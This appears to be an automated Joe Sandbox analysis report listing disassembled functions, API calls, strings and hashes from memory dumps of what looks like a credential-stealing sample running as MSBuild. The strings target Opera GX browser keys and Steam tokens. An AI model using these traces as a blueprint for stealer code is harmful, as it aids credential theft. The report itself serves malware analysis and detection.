Part of subcall function 6C4B35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4B369F
Part of subcall function 6C4B35A0: __aulldiv.LIBCMT ref: 6C4B36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4B309F

Part of subcall function 6C4D5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4D56EE,?,00000001), ref: 6C4D5B85
Part of subcall function 6C4D5B50: EnterCriticalSection.KERNEL32(6C53F688,?,?,?,6C4D56EE,?,00000001), ref: 6C4D5B90
Part of subcall function 6C4D5B50: LeaveCriticalSection.KERNEL32(6C53F688,?,?,?,6C4D56EE,?,00000001), ref: 6C4D5BD8
Part of subcall function 6C4D5B50: GetTickCount64.KERNEL32 ref: 6C4D5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4B30BE

Part of subcall function 6C4B30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C4B3127
Part of subcall function 6C4B30F0: __aulldiv.LIBCMT ref: 6C4B3140

Part of subcall function 6C4EAB2A: __onexit.LIBCMT ref: 6C4EAB30

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0148d8b0757e0c6734f1ef67302f7a4c507829f75a0c4caef4b36968e18bb048
Instruction ID: 0e28c7464fca5e2437c12752ce034af9cfe9a1081aa272c99ddc78179633e572
Opcode Fuzzy Hash: 0148d8b0757e0c6734f1ef67302f7a4c507829f75a0c4caef4b36968e18bb048
Instruction Fuzzy Hash: BAF0D622E20B4497CA20EF748D41AA67770AF6B114B12631EE84D63721FF3061D883D9

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction ID: 4a48e0897f6a5e53a67cc5d7e0c14adbc6ce47083a4b6c26751418be0e4428b5
Opcode Fuzzy Hash: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction Fuzzy Hash: 2DE08CB1200204BBD7449BD9AC8DF8A76BCDB84715F100226F605D6250EAB4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,00436853,0043684B,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 0fb41c61df57f504aaf5de9142bc873bfa384d999c6abac19d8a053c1ed93182
Instruction ID: 2f838092edd703084741f82f1e37e62fc4a331bb811b3281c0e98dae42c078f1
Opcode Fuzzy Hash: 0fb41c61df57f504aaf5de9142bc873bfa384d999c6abac19d8a053c1ed93182
Instruction Fuzzy Hash: 3FB1FD7294011DABCF10FFA6DE425CD7775AF04308F51013AF904771A1DBB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 004170C7 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 0041710E

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

Soft\Steam\steam_tokens.txt, xrefs: 0041711E

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: cc6fcce903024a9fea6a23bafcd441d12855246dee4bda35170fe48c24b99249
Instruction ID: 271d1becf7a3678e07a024325e19a0bcf1d7841c1b1dc1186d3e3fa3453cba64
Opcode Fuzzy Hash: cc6fcce903024a9fea6a23bafcd441d12855246dee4bda35170fe48c24b99249
Instruction Fuzzy Hash: BA017531E0010867CF00FBE6DD478CD7B74AF04358F504136FA0073152D778AA8A86D5

Function 00411E1F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Strings

1iA, xrefs: 00411E47

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: 1iA
API String ID: 3494564517-1863120733
Opcode ID: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction ID: dc66f3ebc75c526b8f29ca666c763a1a9938aadc44e5483d7dab6bcf02b3e8fe
Opcode Fuzzy Hash: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction Fuzzy Hash: 08E02B3AA41B201FC7724BAA8804AB7BB5A9FC2F61B18412BDF49CB324D535CC4182E4

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CCCB Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CCDC

Part of subcall function 0041BC7F: lstrlenA.KERNEL32(?,0041CCED,0041CD8F,00000000,06400000,00000003,00000000,0041768F,.exe,00436C5C,00436C58,00436C54,00436C50,00436C4C,00436C48,00436C44), ref: 0041BCB1
Part of subcall function 0041BC7F: malloc.MSVCRT ref: 0041BCB9
Part of subcall function 0041BC7F: lstrcpyA.KERNEL32(00000000,?), ref: 0041BCC4

malloc.MSVCRT ref: 0041CD19

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: fcaced55c1c361c3e27715ea7ae3a17afdad1615e326a9d39dd71d0aa4f9bcfc
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: 6BF0F0721412166BDB206F6AEC8098BBB94EB457A0F150037FD0997351EA38CC4086F9

Function 004185BE Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd0dd478d9f607c979a352132b68459f789e2a2a0c4ffcb15ea7dc3a842640c
Instruction ID: c1de0727e8417f3a856ade1607230127397a68712c8c4452783f7dfbc6220367
Opcode Fuzzy Hash: 1cd0dd478d9f607c979a352132b68459f789e2a2a0c4ffcb15ea7dc3a842640c
Instruction Fuzzy Hash: D7514F71901240BFCA617BAE854DEF5B2D6AFA0328F14048FB404AA272DF6D8DD05D6D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 352223032d3244ad9dc512ea0f38e2caed61f8f95f67dbfdd7722c11f9f2bd61
Instruction ID: 70aa0c5f5db09bd9b177b6aa788367f122bed66c5b4d8e76533133e42ab6cc8a
Opcode Fuzzy Hash: 352223032d3244ad9dc512ea0f38e2caed61f8f95f67dbfdd7722c11f9f2bd61
Instruction Fuzzy Hash: B3F03AB2E0015DABDB15DF78DC909EEB7FCEB48204F0045BAB909D3281EA349F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 00412541 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00412577

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction ID: ef242af97a818274634bdf18eaf41cd9f3ea813bb85b2b5ad444d7661f99d088
Opcode Fuzzy Hash: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction Fuzzy Hash: CAE09AB0D0420E9FDF44EFE4D5152DDBAF8BF08308F40916AC115F3240E37442058BA9

Function 0041C440 Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C451

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
